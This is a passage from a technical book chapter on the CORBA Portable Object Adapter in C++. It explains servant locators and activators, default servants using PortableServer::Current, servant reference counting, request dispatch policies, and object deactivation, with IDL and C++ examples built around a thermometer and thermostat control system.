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            const char *                         /* operation */, 
            void *                               /* cookie */, 
            PortableServer::Servant              servant 
) throw(CORBA::SystemException) 
{ 
            delete servant; 
} 
 
       
Unlike ThermomemeterActivator::etherealize, the postinvoke function 
does not have to worry about whether the servant is still in use for other request 
invocations. Because the POA has the NON_RETAIN policy value, it has no Active 
Object Map to keep track of servants. This means that the servant that our 
ThermometerLocator_impl returns from preinvoke is used only for the request 
that caused the POA to call preinvoke. 
 
For portability across multithreaded environments, the POA makes certain guarantees 
concerning invocations of preinvoke and postinvoke. 
The request that causes the POA to invoke preinvoke is the only request that the POA 
will process using the servant returned by postinvoke. After the request completes, 
the POA will pass the servant to postinvoke. 
 
For a given request, the invocation of preinvoke, the processing of the request, and the 
invocation of postinvoke all occur in the same thread. 
 
An ORB_CTRL_MODEL POA that uses multiple threads does not prevent concurrent 
invocations of preinvoke or postinvoke on a single ServantLocator for the 
same object ID. This means that a ServantLocator can cause a single CORBA 
object to be incarnated by more than one servant simultaneously if preinvoke is up-
called concurrently from multiple threads. 

Servant Manager Registration 

Because servant managers are themselves CORBA objects, you need object references 
for them to register them with a POA. The easiest way to create an object reference for a 
servant manager is to implicitly register its servant in the Root POA: 
        
// Create our Controller servant. 
Controller_impl ctrl_servant; 
// Create a ThermometerActivator servant. 
ThermometerActivator_impl manager_impl(ctrl_servant); 
 
// Create a new transient servant manager object 
// in the Root POA. 
PortableServer::ServantManager_var mgr_ref = 
    manager_impl._this(); 
 
// Set the servant manager for another POA. Because we 
// are registering a ServantActivator, we assume our 
// POA has the RETAIN policy value. 
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poa->set_servant_manager(mgr_ref); 
 
       
Our example shows the creation and registration of a 
ThermometerActivator_impl servant activator. The set_servant_manager 
function expects you to pass it an object reference for a ServantManager. This means 
that registration of servant activators and servant locators looks identical: both have the 
ServantManager as a base interface. You must make sure that you pass a reference to 
the right ServantManager type—either a ServantActivator or a 
ServantLocator —depending on whether the POA has the RETAIN or 
NON_RETAIN policy value. If you pass the wrong type, the POA will raise an exception. 
Unlike other POA-related objects, servant managers are normal CORBA objects and are 
not locality-constrained. Nevertheless, servant managers must be local to the POA they 
are serving. If they were not local, they would not be able to create and manage 
Servants, which are local programming language object instances, when invoked by 
the POA. Because servant managers must be local objects, creating them as transient 
objects under the Root POA makes them easy to manage and imposes no limitations on 
their effectiveness or utility. Moreover, even though you might create a servant manager 
in this manner under the Root POA, it can be used as the servant manager for any other 
POA. 
 
One good reason to create your ServantManager objects under the Root POA is to 
ensure smooth server shutdown. During shutdown, child POAs are destroyed before their 
parents, meaning that the Root POA is the last POA to be destroyed. Because a POA with 
a ServantActivator invokes etherealize to allow the application to clean up 
its servants, a ServantActivator object must remain viable for the entire time the 
POA you registered it with is being destroyed. In other words, you must avoid creating 
your ServantActivator object in the same POA that uses it or a child of that POA. 
The easiest way to do this is just to create it under the Root POA. 

Choosing Our POA Hierarchy 

The servant manager registration example we showed in the preceding section does not 
indicate which POA is being used for the Thermometer and Thermostat objects. 
The discussion of object creation without servant creation in Section 11.7.1 alludes to 
the fact that we must carefully choose how we allocate servants to POAs so as not to 
limit our options for creating objects and incarnating them with servants. 
 
First, we must choose whether our Thermometer and Thermostat objects should be 
persistent or transient. Because our Controller is a persistent object, we might choose 
to create a new POA to make the Thermometer and Thermostat objects transient. 
In this case, our Controller would act as a reference factory, handing out transient 
Thermometer and Thermostat object references to clients that ask for them. Clients 
would then have to always be prepared to throw away their Thermometer and 
Thermostat object references and ask the Controller for new ones. A client 
attempting to use a reference whose lifetime had expired would receive an 
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OBJECT_NOT_EXIST exception; that is somewhat strange because it would then be 
impossible to tell whether the actual Thermometer or Thermostat device no longer 
existed, or whether only the reference had become invalid. In any event, after a reference 
stopped working, the client would have to reinvoke the Controller::find operation 
to obtain a new object reference for the Thermometer or Thermostat object it was 
interested in. Note that this implies that only the Controller object reference, which 
is persistent, could be advertised in an object service such as the Naming or Trading 
Service. Advertising the Thermometer and Thermostat object references would not 
make sense because of their short lifetimes. Clients retrieving outdated references from 
the Naming or Trading Service would simply have to go back to the Controller to get 
updated references. 
 
If we instead choose to make our Thermometer and Thermostat objects persistent, 
we resolve all these issues. Clients can maintain references to Thermometer and 
Thermostat objects without having them go stale. Because they are persistent, 
Thermometer and Thermostat references can usefully be advertised in the Naming 
and Trading Services, and this means that clients need not necessarily retrieve them only 
from the Controller. Given that our few hundred to a thousand Thermometer and 
Thermostat objects represent physical devices that remain in use for years before 
being removed or exchanged, it makes sense to make them persistent objects. 
 
The next issue we must resolve is how many POAs we should use for the system. All our 
objects—the Controller, the Thermometers, and the Thermostats—are 
persistent, so they are not restricted from existing under the same POA based on 
LifespanPolicy. However, we might want to use a different value of the 
RequestProcessingPolicy for the Controller than we do for the 
Thermometer and Thermostat objects. Specifically, we want to use a servant 
manager for the Thermometers and Thermostats, but because we have only one 
Controller, we want to explicitly activate it. Furthermore, the Controller does 
not have an asset number, so its object identifier is in a different "name space" than our 
Thermometer and Thermostat asset numbers. 
 
We can achieve our goals using two POAs: one for the Controller and a second one 
for all the Thermometer and Thermostat objects. We create both POAs with the 
default RETAIN value for the ServantRetentionPolicy, but the Controller 
POA has the USE_ACTIVE_OBJECT_MAP_ONLY policy value and the POA for the 
device objects has the USE_SERVANT_MANAGER value. These policies allow us to 
explicitly activate the single Controller object, thus giving it an entry in the POA's 
Active Object Map, and use a ServantActivator to activate the Thermometer 
and Thermostat objects on demand. We also make the POA for the Thermometer 
and Thermostat objects a child of the Controller POA for the same reasons we 
describe in Section 11.7.1. 
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One potentially negative side effect of this approach is that each Thermometer or 
Thermostat activation results in an entry in the Active Object Map. In the worst 
case—in which all the Thermometer and Thermostat objects receive request 
invocations—the map will hold an object-to-servant association for each one. However, 
given that our entire CCS consists of only several hundred to a thousand objects, our 
server application can easily handle this worst case scenario without running out of 
resources. Furthermore, we could even choose to keep track of the number of servants we 
have activated and use POA::deactivate_object to try to explicitly remove some 
of them from the Active Object Map if our count exceeds a predetermined threshold. We 
describe deactivate_object in Section 11.9 and show extensive examples that 
use it in Chapter 12. 

11.7.4 Default Servants 

The final way that an application can register servants to incarnate CORBA objects is by 
using a default servant. For this approach, the POA must have the 
RequestProcessingPolicy value of USE_DEFAULT_SERVANT. The POA 
dispatches each request to a single default servant if it has no servant in its Active Object 
Map for the ObjectId of the target object or if it has the NON_RETAIN value for the 
ServantRetentionPolicy. The default servant acts as a catch-all servant for those 
objects that do not have their own servants. Because each object incarnated by the default 
servant must support the same interface, default servants are often used for applications 
based on the Dynamic Skeleton Interface (DSI). Default servants can also be used if each 
object created within a POA supports the same interface, even if those objects are 
incarnated with servants based on static skeletons. 
 
Because they incarnate multiple CORBA objects, a key aspect of default servants is that 
they must not hold object-specific state. Unfortunately, the servant classes we have used 
thus far to implement the Thermometer and Thermostat objects hold the asset 
numbers of their objects as data members. In other words, they assume that they incarnate 
only a single CORBA object. We must therefore redesign these servant classes if we are 
to use them for default servants. 

The PortableServer::Current Interface 

Within the context of a request dispatch, the server ORB allows an application to obtain 
the ObjectId of the target object and a reference to the POA that is dispatching the 
request. These operations are provided by the PortableServer:: Current 
interface. 
        
module PortableServer { 
    interface Current : CORBA::Current { 
        exception NoContext {}; 
 
        POA      get_POA()          raises(NoContext); 
        ObjectId get_object_id() raises(NoContext); 
    }; 
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    // ... 
}; 
 
       
The Current interface derives from the empty CORBA::Current interface. 
CORBA::Current is the base for several Current interfaces in addition to the one in 
the PortableServer module; each of them allows access to information concerning 
the thread of control from which its operations are invoked. For example, the OMG 
Transaction Service (OTS) supplies its own Current interface in the 
CosTransactions module. The OTS Current allows applications to obtain 
information concerning any transaction that the calling thread may be a part of and to 
control that transaction by committing it or aborting it. 
 
Current objects are generally both locality- and thread-constrained. They can be 
passed between different threads of control, but using the same Current object 
reference in different threads allows each thread to access only its own threadspecific 
state; one thread cannot use a Current from another thread to retrieve or modify the 
state of that thread. Moreover, Current objects do not depend on the presence of 
multiple threads and are thus available even if the application is only single-threaded. 
You obtain a reference to the POA Current by passing the string "POACurrent" to 
ORB::resolve_initial_references. 
        
// Obtain a reference to the ORB. 
CORBA::ORB_var orb = CORBA::ORB_init(argc, argv); 
 
// Obtain a reference to the POA Current. 
CORBA::Object_var obj = 
    orb->resolve_initial_references("POACurrent"); 
 
// Narrow the result to the PortableServer::Current interface. 
PortableServer::Current_var cur = 
   PortableServer::Current::_narrow(obj); 
 
       
If either of the POA Current operations is invoked outside the context of a request 
dispatch, it will raise the PortableServer::NoContext exception. 

Thermometer Default Servant 

We must reimplement the Thermometer_impl servant to eliminate its asset number 
data member. We replace this data member with a member that holds a reference to a 
POA Current. 
        
class Thermometer_impl : public virtual POA_CCS::Thermometer { 
public: 
    Thermometer_impl(PortableServer::Current_ptr current); 
    virtual ~Thermometer_impl() {} 
 
    // Functions for the Thermometer attributes. 
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    virtual CCS::ModelType 
                    model() throw(CORBA::SystemException); 
 
    virtual CCS::AssetType 
                    asset_num() throw(CORBA::SystemException); 
 
    virtual CCS::TempType 
                    temperature() throw(CORBA::SystemException); 
 
    virtual CCS::LocType 
                    location() throw(CORBA::SystemException); 
 
    virtual void    location(const char * loc) 
                       throw(CORBA::SystemException); 
 
    static Controller_impl * m_ctrl;      // My controller 
protected: 
    PortableServer::Current_var m_current; 
 
    // Helper function that extracts asset number from 
    // the target ObjectId. 
    CCS::AssetType get_target_asset_number() 
                        throw(CORBA::SystemException); 
 
    // Helper functions that read data from the device. 
    static CCS::ModelType get_model(CCS::AssetType anum); 
    static CCS::TempType  get_temp(CCS::AssetType anum); 
    static CCS::LocType   get_loc(CCS::AssetType anum); 
    static void           set_loc(CCS::AssetType anum, 
                                  const char * new_loc); 
 
private: 
    // copy not supported for this class 
    Thermometer_impl(const Thermometer_impl & therm); 
    void operator=(const Thermometer_impl & therm); 
}; 
 
       
Servants of type Thermometer_impl are constructed with a reference to the POA 
Current object. Next we show alternative implementations of the 
Thermometer_impl servant class methods, each of which uses the 
get_target_asset_number helper function to extract the asset number of the 
target object from the object ID obtained from the POA Current. 
        
// Constructor 
Thermometer_impl:: 
Thermometer_impl( 
    PortableServer::Current_ptr current 
) : m_current(PortableServer::Current::_duplicate(current)) 
{ 
    // Intentionally empty 
} 
 
// Member functions 
CCS::ModelType 
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Thermometer_impl:: model() throw(CORBA::SystemException) 
{ 
    CCS::AssetType anum = get_target_asset_number(); 
    return get_model(anum); 
} 
CCS::AssetType 
Thermometer_impl::asset_num() throw(CORBA::SystemException) 
{ 
    return get_target_asset_number(); 
} 
CCS::TempType 
Thermometer_impl:: 
temperature() throw(CORBA::SystemException) 
{ 
    CCS::AssetType anum = get_target_asset_number(); 
    return get_temp(anum); 
} 
 
CCS::LocType 
Thermometer_impl:: 
location() throw(CORBA::SystemException) 
{ 
    CCS::AssetType anum = get_target_asset_number(); 
    return get_loc(anum); 
} 
 
void 
Thermometer_impl:: 
location(const char * new_loc) throw(CORBA::SystemException) 
{ 
    CCS::AssetType anum = get_target_asset_number(); 
    set_loc(anum, new_loc); 
} 
CCS::AssetType 
Thermometer_impl:: 
get_target_asset_number() throw(CORBA::SystemException) 
{ 
    // Get the target ObjectId. 
    PortableServer::ObjectId_var oid = m_current->get_object_id(); 
 
    // Check to see if the object ID is valid. 
    CORBA::String_var asset_str; 
    try { 
        asset_str = PortableServer::ObjectId_to_string(oid); 
    } catch(const CORBA::BAD_PARAM&) { 
       throw CORBA::OBJECT_NOT_EXIST(); 
    } 
     
    // Convert the ID string into an asset number. 
    istrstream istr(asset_str.in()); 
    CCS::AssetType anum; 
    istr >> anum; 
    if (istr.fail()) 
       throw CORBA::OBJECT_NOT_EXIST(); 
     
    return anum; 
} 
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The constructor duplicates the reference to the POA Current object passed to it and 
stores the result in the m_current data member. The get_target_asset_number 
helper function invokes the get_object_id operation on the m_current data 
member to retrieve the ObjectId of the target object, converts the ObjectId to a 
string, and then extracts the asset number from it. All the member functions that 
implement IDL operations rely on the get_target_asset_number helper function 
to get the asset number of the target object, which they use to access the target device 
over the ICP network as usual. 
 
To set the default servant, we invoke set_servant on the POA, passing it a pointer to 
a Thermometer_impl instance. 
        
// Create a default servant. 
Thermometer_impl * dflt_servant = new Thermometer_impl(cur); 
 
// Register it with the POA. 
poa->set_servant(dflt_servant); 
 
// Because our servant inherits reference counting 
// from RefCountServantBase, we call _remove_ref because 
// we no longer need the servant. 
dflt_servant->_remove_ref(); 
 
       
Because set_servant holds onto the pointer to our servant, it invokes _add_ref on 
the servant before returning. If the Thermometer_impl class inherits its reference 
counting implementations from the PortableServer:: RefCountServantBase 
mix-in class, we can invoke _remove_ref on our servant after set_servant returns. 
When the POA is eventually destroyed, it will invoke _remove_ref on the default 
servant to remove its reference count, and the servant will delete itself. If you do not 
choose to derive your default servant class from RefCountServantBase, you must 
remember to destroy your default servant instance yourself. 
 
If you want to obtain a pointer to a POA's default servant, you can invoke 
get_servant. 
        
 
// Use a ServantBase_var to capture the return value 
// of get_servant. 
PortableServer::ServantBase_var servant = 
    poa->get_servant(); 
// Use dynamic_cast to get back to our original 
// default servant's type. 
Thermometer_impl * dflt_servant = 
    dynamic_cast<Thermometer_impl *>(servant.in()); 
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Our example uses a PortableServer::ServantBase_var to store the return 
value of get_servant. This is because the POA invokes _add_ref on the default 
servant before returning it, making us responsible for eventually invoking 
_remove_ref on it when we are finished with it. This prevents the default servant 
from accidentally being deleted out from under the POA. The ServantBase_var is 
just like any other _var type, releasing its resources (in this case, using _remove_ref) 
in its destructor. Note also that servants do not provide any narrowing operations, so to 
regain the derived type of the default servant, we must use a dynamic_cast. If your 
C++ compiler does not support dynamic_cast, it is not possible to obtain the real type 
of a servant returned from get_servant in a portable fashion. 

Scalability Using Default Servants 

The scalability aspects of the default servant approach cannot be overemphasized. A 
default servant provides the ability to support literally an infinite number of objects in a 
fixed amount of memory. The servant itself is stateless, and it depends on retrieving the 
state from the target device itself. The trade-off, of course, is that finding the state of the 
target object is slower than using a separate servant per object because we must first 
extract the target's object identifier from the POA Current. Then we extract the asset 
number from the object identifier and use the ICP network to invoke the actual device to 
carry out the request. 

Revising Our POA Hierarchy 

If we revise our design to use default servants rather than servant managers, we must 
revisit the choices we made regarding the POA hierarchy the CCS application requires. In 
Section 11.7.3 we decided that we could put all the CCS objects under two POAs 
with the PERSISTENT value for the LifespanPolicy and the RETAIN value for the 
ServantRetentionPolicy. We based our design decision on the fact that we could 
explicitly register the single Controller object and use a ServantActivator for 
all the Thermometer and Thermostat objects. 
 
The fact that a POA can have only a single default servant may tempt you to use a 
Thermostat servant as the default servant. After all, the Thermostat interface is 
derived from the Thermometer interface, meaning that a Thermostat default 
servant could also handle requests for Thermometer objects. Although this approach 
would work, the design is somewhat obscure; the hapless engineer who inherits your 
design and must maintain and enhance it will wonder why Thermostat servants are 
incarnating Thermometer objects. 
 
A better approach is to use three POAs. As before, one POA will handle the 
Controller singleton object. The other two POAs will handle Thermostat objects 
and Thermometer objects. This arrangement allows us to use two different default 
servants, one for each interface type. Figure 11.8 shows the resulting POA hierarchy. 
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Figure 11.8 Default servant POA hierarchy. 

 
We create each POA with the PERSISTENT value for the LifespanPolicy. The 
Controller POA has the RETAIN value for the ServantRetentionPolicy and 
has the USE_ACTIVE_OBJECT_MAP_ONLY value for the 
RequestProcessingPolicy because we must explicitly register the Controller 
servant in its Active Object Map. However, we give the Thermometer and 
Thermostat POAs the NON_RETAIN value for the ServantRetentionPolicy. 
Neither of these POAs needs an Active Object Map because we register a default servant 
with each one. We also create the Thermometer and Thermostat POAs with the 
USE_DEFAULT_SERVANT value for the RequestProcessingPolicy so that we 
can register default servants with them. 
 
Having each POA handle objects of only a single interface type is not uncommon. As the 
preceding discussion indicates, it is useful when default servants are being used or, more 
generally, when a single servant incarnates multiple CORBA objects. It is also often used 
in conjunction with servant managers to avoid requiring the manager to dynamically 
determine the right type of servant to supply when invoked by the POA. 

11.7.5 Servant Memory Management 

Not surprisingly, managing the lifetimes of your servant instances is necessary for the 
proper operation of your applications. How you manage your servant instances depends 
on several factors: 
Whether or not your servants are allocated on the heap 
Whether or not you have chosen to use reference counting for your servants 
Whether you are using a servant activator, a servant locator, or no servant manager at all 
Whether each of your servants incarnates only a single CORBA object or multiple 
objects, and whether or not you use a default servant 
Whether or not your servants are registered in multiple POAs simultaneously 
Whether your application is multithreaded or single-threaded 
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In the following sections, we explore these issues in more detail. 

Stack Versus Heap Allocation 

In most serious applications, servants are heap-allocated. This is because these types of 
applications normally use sophisticated POA features such as servant managers, which 
are much easier to use and maintain when applications create their servants on the heap. 
For example, if a servant activator or servant locator allocated its servants on the stack in 
its incarnate or preinvoke function, respectively, the application would very likely 
crash. This is because the servant activator or servant locator would return a pointer to a 
servant that would be destroyed as soon as the incarnate or preinvoke function 
returned. Having it instead return a servant that was global or static would mean that all 
objects for that POA incarnated via the servant manager would use the same servant. In 
that case, it would be more efficient to register the single servant as the default servant 
for that POA. 
 
For transient objects registered in the Root POA, allocating servants on the stack in your 
program's main function works well. When main ends, these servants are automatically 
destroyed, and that is not a problem because by then your ORB and all its POAs have 
also shut down. Thus, there is no danger of crashing your program due to either the ORB 
or its POAs attempting to access your stack-allocated servants after they have been 
destroyed. 

Servant Reference Counting 

With heap-allocated servants, you must determine a point in your program when it is safe 
to delete them. One way to do this for a servant that incarnates only a single CORBA 
object is to first deactivate the object and then delete the servant. For example, you 
might perform the following steps within a servant method: 
        
void SomeServant::destroy() throw(CORBA::SystemException) 
{ 
    my_poa->deactivate_object(my_object_id); 
    delete this; 
} 
 
       
Assuming that the POA does not have a servant activator registered with it, it seems that 
this code would work perfectly. We first deactivate the object that the servant is 
incarnating, and then, because the servant is no longer being used, we delete it. 
In reality, this code will almost certainly cause your application to crash. The problem is 
that if the POA has an entry for the servant in its Active Object Map, that entry remains 
there until all requests on the associated object have completed. After all requests 
complete, the POA destroys the Active Object Map entry and invokes _remove_ref 
on the servant to decrement its reference count. Because we invoke 
deactivate_object from within a method, the Active Object Map entry will remain 
until this method completes. This means that by deleting the servant in the method, our 
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application will probably crash when the POA invokes _remove_ref on the servant 
after our method completes. 
 
Even deleting a servant in this manner outside a method can cause problems. One reason 
is that other parts of the application might also be accessing the servant. For example, 
another thread might still be executing a request using the servant. Alternatively, another 
part of the program may have invoked either reference_to_servant or 
id_to_servant on the servant's POA, may have had a pointer to the same servant 
returned to it, and may still be using that pointer. 
 
The way to avoid these types of problems is to derive your servant classes from the 
RefCountServantBase class provided in the PortableServer namespace. 
        
namespace PortableServer { 
    class RefCountServantBase : public virtual ServantBase { 
    public: 
        RefCountServantBase() : m_ref_count(1) {} 
     
        virtual void _add_ref(); 
        virtual void _remove_ref(); 
 
    private: 
        CORBA::ULong m_ref_count; 
        // ... 
    }; 
} 
 
       
Unlike the do-nothing versions of the _add_ref and _remove_ref functions 
supplied by PortableServer::ServantBase, the versions provided by the 
RefCountServantBase class perform thread-safe reference counting for derived 
servant classes. The implementation of _add_ref increments the reference count, 
whereas _remove_ref first decrements the reference count and then calls delete on 
its own this pointer if the reference count has dropped to zero. Applications that derive 
their servant classes from RefCountServantBase must therefore do two things. 
 
Because RefCountServantBase::_remove_ref assumes that the servant has 
been allocated on the heap, always be sure to heap-allocate instances of these servant 
types. One way to ensure that your servant instances are always heap-allocated is to make 
their destructors protected or private (as recommended in [16]). 
 
Never invoke delete directly on pointers to instances of these servant types; instead, 
invoke _remove_ref. 
 
Internally, the POA cannot know beforehand whether or not your servants actually use 
reference counting, so it must assume that they do. The POA therefore uses servant 
reference counting whenever it must guarantee that a servant will not be destroyed or 
deleted while still in use. 
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You should note that whenever you use _this to implicitly create a CORBA object and 
activate a servant for it (see Section 11.6), the POA invokes _add_ref on the servant 
so that it can safely keep a pointer to it in its Active Object Map. 
 
As we describe in Section 11.7.4, you can use a ServantBase_var to help you 
manage servant reference counting. The ServantBase_var class is much like any 
other _var type, adopting the servant you construct it with or assign to it. Later, when 
the ServantBase_var destructor runs, it invokes _remove_ref on the servant it 
adopted. 
 
For applications of any significant size, we recommend that you derive your servants 
from RefCountServantBase unless you are quite sure of what you are doing. We 
provide many more details concerning safe servant destruction in Chapter 12 and 
Chapter 21. 

Servant Managers 

When you use a servant activator, you normally call delete or invoke _remove_ref 
on your servants in the activator's etherealize function. The POA guarantees that all 
requests using the servant will have finished before etherealize is called, and it also 
guarantees that it will not try to use the servant in any way after it passes it to etherealize. 
Thus, if you are not using reference counting for your servants and you delete them in 
etherealize, there is only one danger for error: another part of your code is holding a 
pointer to the servant obtained from POA:: reference_to_servant or 
POA::id_to_servant, and it tries to use that dangling pointer to access the 
nowdeleted servant. 
 
With a servant locator, invoking POA::reference_to_servant or 
POA::id_to_servant is not possible because both of them require the RETAIN 
policy value on the target POA. The POA guarantees that it will use the servant returned 
from the locator's preinvoke function for only the request specified by the ObjectId 
and Identifier arguments passed to postinvoke. It further guarantees that it will 
invoke the locator's postinvoke function immediately after the servant completes its 
request. This strongly implies a model in which servants are allocated on the heap in 
preinvoke and then deleted in postinvoke, although a sophisticated servant locator 
implementation might instead keep a pool of servants rather than continually creating and 
deleting them. 
 
If you are using a POA with the RETAIN policy value, we recommend using a servant 
activator in conjunction with it even if you intend to register all your objects explicitly. 
This is because the activator's etherealize function provides a convenient place to 
clean up your servants at application shutdown. 

Single-Object Versus Multiobject Servants 
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Managing a servant that incarnates only a single object is easy because it can be 
destroyed when the object it incarnates is deactivated. As noted earlier, this is especially 
easy when you also use a servant activator. 
 
Knowing when to destroy servants that incarnate multiple objects is more difficult. 
Typically, these servants are best destroyed when the POA itself is destroyed, something 
that also holds true for default servants. 

Multi-POA Servants 

If you choose to register the same servant into multiple POAs, it is entirely up to you to 
ensure that its life cycle is managed properly. This is because POAs do not communicate 
with one another to determine whether they are sharing servants. 

Threading Issues 

The proper destruction of servants for applications that execute in multithreaded 
environments can be somewhat difficult. We discuss these issues and present an extended 
example in Chapter 21. 

11.7.6 Request Processing 

A POA dispatches requests according to the settings of several of its policies, especially 
the value of its RequestProcessingPolicy. 
If a POA has a RequestProcessingPolicy value of 
USE_ACTIVE_OBJECT_MAP_ONLY, it looks in its Active Object Map for the object 
ID of the target object. The POA must also have a ServantRetentionPolicy value 
of RETAIN in this case. If it does not find the target object ID, the POA raises the 
OBJECT_NOT_EXIST exception. 
 
A POA with a RequestProcessingPolicy value of USE_SERVANT_MANAGER 
and a ServantRetentionPolicy value of RETAIN searches its Active Object Map 
for the object ID of the target object. If it does not find it and if a ServantActivator 
has been registered with the POA, its incarnate operation is invoked. The implementation 
of ServantActivator::incarnate either returns a servant to handle the request 
or raises an exception. If the object ID is not in the Active Object Map and if no 
ServantActivator has been registered with the POA, the POA raises the 
CORBA::OBJ_ADAPTER system exception. The reason that the POA does not raise the 
CORBA::OBJECT_NOT_EXIST exception under these circumstances is that setting 
USE_SERVANT_MANAGER without registering a servant manager is an error in the 
application. The result is that the POA does not know for certain that the target object no 
longer exists, and so is not in a position to correctly raise the OBJECT_NOT_EXIST 
exception. 
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A POA with a RequestProcessingPolicy value of USE_SERVANT_MANAGER 
and a ServantRetentionPolicy value of NON_RETAIN dispatches requests 
exactly as in the preceding scenario except that the POA has no Active Object Map to 
search. In other words, the servant manager must be a ServantLocator and not a 
ServantActivator. 
 
A POA with a RequestProcessingPolicy value of USE_DEFAULT_SERVANT 
and a ServantRetentionPolicy value of RETAIN searches its Active Object Map 
for the object ID of the target object. If it does not find it and if a default servant has been 
registered with the POA, the request is dispatched to it. If the object ID is not in the 
Active Object Map and if no default servant has been registered with the POA, the POA 
raises the CORBA::OBJ_ADAPTER system exception. 
 
A POA with a RequestProcessingPolicy value of USE_DEFAULT_SERVANT 
and a ServantRetentionPolicy value of NON_RETAIN dispatches requests 
exactly as in the preceding scenario except that the POA has no Active Object Map to 
search (the servant manager must be a ServantLocator). 

11.8 Reference, ObjectId, and Servant 

As we describe in Section 11.3.2, many POA operations involve conversions or 
associations among object references, object IDs, and servants. Not surprisingly, the POA 
interface provides six helper functions that allow navigation among these three key 
entities. 
      
module PortableServer { 
    interface POA { 
        exception ServantNotActive {}; 
        exception WrongPolicy {}; 
        exception ObjectNotActive {}; 
        exception WrongAdapter {}; 
        ObjectId servant_to_id(in Servant serv) 
                    raises(ServantNotActive, WrongPolicy); 
        Object servant_to_reference(in Servant serv) 
                    raises(ServantNotActive, WrongPolicy); 
        Servant reference_to_servant(in Object ref) 
                    raises( 
                        ObjectNotActive, WrongAdapter, WrongPolicy 
                    ); 
        ObjectId reference_to_id(in Object ref) 
                    raises(WrongAdapter, WrongPolicy); 
        Servant id_to_servant(in ObjectId oid) 
                    raises(ObjectNotActive, WrongPolicy); 
        Object  id_to_reference(in ObjectId oid) 
                    raises(ObjectNotActive, WrongPolicy); 
        // ... 
    }; 
    // ... 
}; 
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All operations except the reference_to_id and reference_to_servant 
operations require the target POA to have the RETAIN policy value. Each operation 
raises the WrongPolicy exception if the target POA does not have the required 
policies. 
 
The servant_to_id operation returns the ObjectId associated with the target 
servant. The target POA policies affect the behavior of servant_to_id as follows. 
If the target POA has the UNIQUE_ID policy and the servant is already registered in the 
Active Object Map, the POA returns the associated ObjectId. 
 
If the POA has the IMPLICIT_ACTIVATION and MULTIPLE_ID policy values, the 
POA implicitly activates a new CORBA object using the servant with a POA-generated 
object ID, and the POA returns that ID. 
 
Similarly, if the POA has the IMPLICIT_ACTIVATION and UNIQUE_ID policy 
values and the servant is not yet active, the POA implicitly activates a new CORBA 
object using the servant with a POA-generated object ID, and the POA returns that ID. 
Otherwise, servant_to_id raises the ServantNotActive exception. 
 
If the servant_to_id operation activates the object, it will invoke _add_ref on its 
servant argument before returning. Otherwise, the POA does not invoke _add_ref or 
_remove_ref on the servant. 
 
The servant_to_reference operation returns the object reference of the object the 
servant is incarnating. If the target POA has the IMPLICIT_ACTIVATION and 
MULTIPLE_ID policy values, the POA implicitly activates a new CORBA object using 
the servant with a POA-generated object ID, and then it returns the new reference. It also 
does this if the POA has the IMPLICIT_ACTIVATION and UNIQUE_ID policy values 
and the servant is not yet active. Otherwise, servant_to_reference raises the 
ServantNotActive exception. 
 
If the servant_to_reference operation activates the object, it will invoke 
_add_ref on its servant argument before returning. Otherwise, the POA does not 
invoke _add_ref or _remove_ref on the servant. 
 
The reference_to_servant operation returns the servant that incarnates the object 
referred to by the object reference. The target POA requires either the RETAIN policy 
value or the USE_DEFAULT_SERVANT policy value. If the object referred to by the 
object reference has an object-to-servant association in the Active Object Map or 
if a default servant is registered, that servant is returned. Otherwise, 
reference_to_servant raises the ObjectNotActive exception. 
 
The caller of reference_to_servant is responsible for invoking _remove_ref 
once on the returned servant when it is finished using it. However, if the application uses 
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only the empty servant reference counting implementations inherited from the 
PortableServer::ServantBase class, the caller need not invoke 
_remove_ref under these circumstances. We recommend always invoking 
_remove_ref in this case, however, to avoid maintenance problems. 
 
The reference_to_id operation returns the object ID from within the object 
reference argument passed to it. The object referred to by the object reference need not be 
active for you to invoke this operation. If the target POA did not create the object 
reference, reference_to_id raises the WrongAdapter exception. 
 
The id_to_reference operation returns an object reference for the object denoted by 
the object ID argument. If the specified object ID is not found in the Active Object Map, 
the operation raises the ObjectNotActive exception. 
 
The id_to_servant returns the servant associated with the specified object ID. If the 
object ID is not found in the Active Object Map, the operation raises the 
ObjectNotActive exception. 
 
The caller of id_to_servant is responsible for invoking _remove_ref once on the 
returned servant when it is finished using it. However, if the application uses only the 
empty servant reference counting implementations inherited from the 
PortableServer::ServantBase class, the caller need not invoke 
_remove_ref under these circumstances. We recommend always invoking 
_remove_ref in this case, however, to avoid maintenance problems. 
 
You should be aware that C++ servants do not support narrowing, as we explain in 
Section 11.7.4. This means that the return values of reference_to_servant 
and id_to_servant cannot be portably down-cast to your derived servant types. If 
your application requires navigation from either an object reference or an object ID to its 
associated servant so that you can directly invoke derived servant functions, you must use 
C++ dynamic_cast to cast the Servant down to the derived type you are looking 
for. Not all C++ compilers support dynamic_cast, however, so make sure it is 
available on all platforms where your application must run. 

11.9 Object Deactivation 

Eventually, all CORBA objects must be deactivated. An object might be deactivated 
because its server application is shutting down or because someone is destroying the 
object. As we state in Section 11.3.1, a CORBA object is a virtual entity that can 
respond to requests only when a servant incarnates it. Deactivation simply makes a 
CORBA object unable to respond to requests. 
 
Because activating a CORBA object requires you to set up an object-to-servant 
association, to deactivate an object you break the object-to-servant association. You do 
this by invoking deactivate_object on the POA hosting the object. 
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module PortableServer { 
    interface POA { 
        exception ObjectNotActive {}; 
        exception WrongPolicy {}; 
 
        void deactivate_object(in ObjectId oid) 
                raises(ObjectNotActive, WrongPolicy); 
        // ... 
    }; 
    // ... 
 
}; 
 
     
You can invoke deactivate_object only on POAs with the RETAIN value of the 
ServantRetentionPolicy. If you invoke it on a NON_RETAIN POA, it raises the 
WrongPolicy exception. In a way, you can view the deactivate_object method 
as a kind of administrative tool for helping you control the contents of a POA's Active 
Object Map. 
 
To deactivate an object, you invoke deactivate_object on the object's POA, 
passing the ObjectId of the object as the only argument. This eventually causes the 
POA to remove the ObjectId-to-servant association from its Active Object Map once 
there are no more active requests for that ObjectId. If the application had previously 
registered a ServantActivator with the POA, the POA invokes the etherealize 
method of the ServantActivator for the deactivated object's servant. This allows 
the application to take actions to clean up the servant, such as invoking _remove_ref 
on the servant or calling delete on it. The POA guarantees that it will not access the 
servant in any way after it passes it to etherealize. Otherwise, if the application did 
not supply a ServantActivator, the POA invokes _remove_ref on the servant 
after all method calls on it have completed. 
 
An important detail of the deactivate_object operation is that it returns 
immediately without waiting for the actual object deactivation to take place. This is 
because the POA does not remove the object's servant from its Active Object Map until 
all requests on the target object have completed. If the operation instead waited for all 
requests on the object to complete, a deadlock situation might occur. Assume that an 
object supports a destroy operation that destroys the target object when invoked. If the 
implementation of destroy invoked deactivate_object and if 
